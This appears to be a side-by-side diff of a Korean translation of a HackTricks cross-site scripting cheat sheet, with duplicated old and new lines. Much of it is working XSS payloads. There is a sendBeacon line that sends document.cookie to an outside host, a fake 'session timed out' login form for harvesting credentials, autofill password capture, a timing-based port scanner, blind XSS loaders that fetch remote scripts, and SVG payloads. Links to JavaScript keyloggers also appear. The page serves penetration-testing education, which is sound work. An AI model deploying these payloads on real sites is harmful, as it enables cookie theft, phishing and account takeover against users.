- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
```javascript ```javascript
//Katana //Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script> <script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
@ -1055,7 +1054,7 @@ trigger()
``` ```
## XSS 일반적인 페이로드 ## XSS 일반적인 페이로드
### 여러 페이로드 중 1개 ### 여러 페이로드를 한 곳에 모음
{% content-ref url="steal-info-js.md" %} {% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md) [steal-info-js.md](steal-info-js.md)
@ -1084,7 +1083,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script> <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
``` ```
{% hint style="info" %} {% hint style="info" %}
만약 쿠키에 HTTPOnly 플래그가 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다. 그러나 당신이 충분히 운이 좋다면 [이 보호를 우회하는 방법](../hacking-with-cookies/#httponly) 있습니다. 만약 쿠키에 HTTPOnly 플래그가 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다. 그러나 당신이 충분히 운이 좋다면 [이 보호를 우회하는 몇 가지 방법](../hacking-with-cookies/#httponly) 있습니다.
{% endhint %} {% endhint %}
### 페이지 콘텐츠 도용 ### 페이지 콘텐츠 도용
@ -1167,13 +1166,13 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
``` ```
_짧은 시간은 응답 포트를 나타냅니다._ _더 긴 시간은 응답이 없음을 나타냅니다._ _짧은 시간은 응답 포트를 나타냅니다._ _더 긴 시간은 응답이 없음을 나타냅니다._
Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인 수 있습니다. Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하실 수 있습니다.
### 자격 증명을 요청하는 상자 ### 자격 증명을 요청하는 상자
```markup ```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script> <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
``` ```
### 자동 입력 비밀번호 캡처 ### 자동 입력 비밀번호 캡처
```javascript ```javascript
<b>Username:</><br> <b>Username:</><br>
<input name=username id=username> <input name=username id=username>
@ -1186,7 +1185,7 @@ body:username.value+':'+this.value
``` ```
### 키클로거 ### 키클로거
GitHub에서 검색하면 몇 가지 다른 항목을 찾을 수 있습니다: Github에서 몇 가지 다른 것을 찾았습니다:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1234,7 +1233,7 @@ document.getElementById("message").src += "&"+e.data;
### Blind XSS payloads ### Blind XSS payloads
[https://xsshunter.com/](https://xsshunter.com) 당신은 또한 다음을 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com)
```markup ```markup
"><img src='//domain/xss'> "><img src='//domain/xss'>
"><script src="//domain/xss.js"></script> "><script src="//domain/xss.js"></script>
@ -1274,9 +1273,9 @@ document.getElementById("message").src += "&"+e.data;
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... --> <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div> <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
``` ```
### 정규 표현식 - 숨겨진 콘텐츠에 액세스 ### 정규식 - 숨겨진 콘텐츠에 액세스
[**이 설명서**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서는 일부 값이 JS에서 사라져도 다른 객체의 JS 속성에서 그 값을 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, 정규 표현식의 입력이 제거된 후에도 해당 입력의 값을 찾을 수 있습니다. [**이 writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서는 일부 값이 JS에서 사라져도 다른 객체의 JS 속성에서 그 값을 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, 정규식의 입력이 제거된 후에도 해당 입력의 값을 찾을 수 있습니다.
```javascript ```javascript
// Do regex with flag // Do regex with flag
flag="CTF{FLAG}" flag="CTF{FLAG}"
@ -1297,9 +1296,9 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
## 다른 취약점을 악용한 XSS ## 다른 취약점을 악용한 XSS
### 마크다운에서의 XSS ### 마크다운 XSS
렌더링될 마크다운 코드를 삽입할 수 있습니까? XSS를 얻을 수 있을까요! 확인해보세요: 렌더링될 마크다운 코드를 삽입할 수 있습니까? XSS를 얻을 수 있을까요! 확인세요:
{% content-ref url="xss-in-markdown.md" %} {% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md) [xss-in-markdown.md](xss-in-markdown.md)
@ -1316,7 +1315,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### 동적으로 생성된 PDF에서의 XSS ### 동적으로 생성된 PDF에서의 XSS
웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 **봇을 속일 수 있습니다**.\ 웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 **봇을 속이려고** 할 수 있습니다.\
따라서, **PDF 생성 봇이** 어떤 종류의 **HTML** **태그를 발견하면**, 해당 태그를 **해석**하고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다. 따라서, **PDF 생성 봇이** 어떤 종류의 **HTML** **태그를 발견하면**, 해당 태그를 **해석**하고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -1395,7 +1394,7 @@ id="foo"/>
```xml ```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /> <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
``` ```
**[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)**에서 **더 많은 SVG payloads를 찾을 수 있습니다.** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **더 많은 SVG payloads를 찾을 수 있습니다.**
## 기타 JS 트릭 및 관련 정보 ## 기타 JS 트릭 및 관련 정보
@ -1411,21 +1410,21 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_폴란드어 유창한 작문 및 구사 능력 필요_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 **제로부터 히어로까지 AWS 해킹 배우기**</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks를 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.